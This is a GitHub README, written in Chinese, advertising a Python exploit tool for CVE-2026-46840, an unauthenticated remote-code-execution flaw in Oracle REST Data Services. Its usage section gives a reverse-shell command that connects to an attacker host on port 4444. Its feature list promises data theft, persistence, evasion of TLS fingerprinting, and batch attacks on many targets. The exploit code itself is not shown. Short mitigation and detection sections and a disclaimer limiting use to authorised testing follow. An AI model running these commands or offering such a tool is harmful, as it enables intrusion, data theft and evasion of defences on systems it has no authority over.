fangbarristerbar/CVE-2026-46840-ORDS-RCE
GitHub: fangbarristerbar/CVE-2026-46840-ORDS-RCE
针对 Oracle REST Data Services Jackson 反序列化漏洞(CVE-2026-46840)的未授权 RCE 利用工具,可在受影响版本上实现完整系统接管。
Stars: 0 | Forks: 0
# CVE-2026-46840 - Oracle ORDS 通过 REST Backend 实现的未授权 RCE
## 概述
Oracle REST Data Services (ORDS) Backend-as-a-Service 中存在远程代码执行漏洞。允许未授权的攻击者通过 HTTPS 实现完整的系统接管。可通过范围扩展与相邻的 Oracle 产品(DB、APEX、Fusion Middleware)进行链式攻击。
在 24.2.0-26.1.0 版本上稳定有效。通过请求处理器中的反序列化路径绕过默认身份验证和速率限制。
## 受影响版本
- Oracle REST Data Services 24.2.0 - 26.1.0(所有平台)
- 已在 standalone、WebLogic、Tomcat 部署中得到确认
## 根本原因
自定义 REST handler 注册处理存在缺陷,结合了 endpoint 路由中不安全的 Jackson 反序列化漏洞。攻击者控制的 JSON 会触发 gadget chain,导致在 ORDS 进程用户(通常是 oracle/tomcat)下进行任意类加载和命令执行。
## 用法
```
python3 CVE-2026-46840.py -t https://target/ords -c "whoami"
python3 CVE-2026-46840.py -t https://target/ords -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
```
**功能:**
- 完整的 shell 访问权限(反向 TCP,交互式)
- 数据窃取模块(通过 ORDS metadata 导出 schema)
- 服务禁用/持久化选项
- 代理 + 自定义 User-Agent + TLS 指纹规避
- 针对多个目标的批量模式
**环境要求:**
- Python 3.9+
- requests, urllib3, colorama
## 缓解措施 / 解决方案
立即升级至 26.2+ 版本。
临时方案:将 /ords/* 的访问权限限制为仅受信任的 IP,禁用公开的 REST endpoint,监控针对 handler 注册路径的异常 POST 请求。
## 检测方法
- /ords/.../metadata-catalog 上出现包含大量 JSON 的异常 200 响应
- ORDS 用户下进行进程创建(cmd.exe、bash、nc)
- YARA:与已知 gadget chain 相关的字符串(ObjectMapper、TemplatesImpl)
- 网络:包含 "java." 类的大量 application/json POST 请求
## 免责声明
仅用于授权的渗透测试和红队演练。
## 联系方式
fangbarristerbar@proton.me
标签:CISA项目, DFIR, Java反序列化, Python, 无后门, 编程工具, 远程代码执行, 逆向工具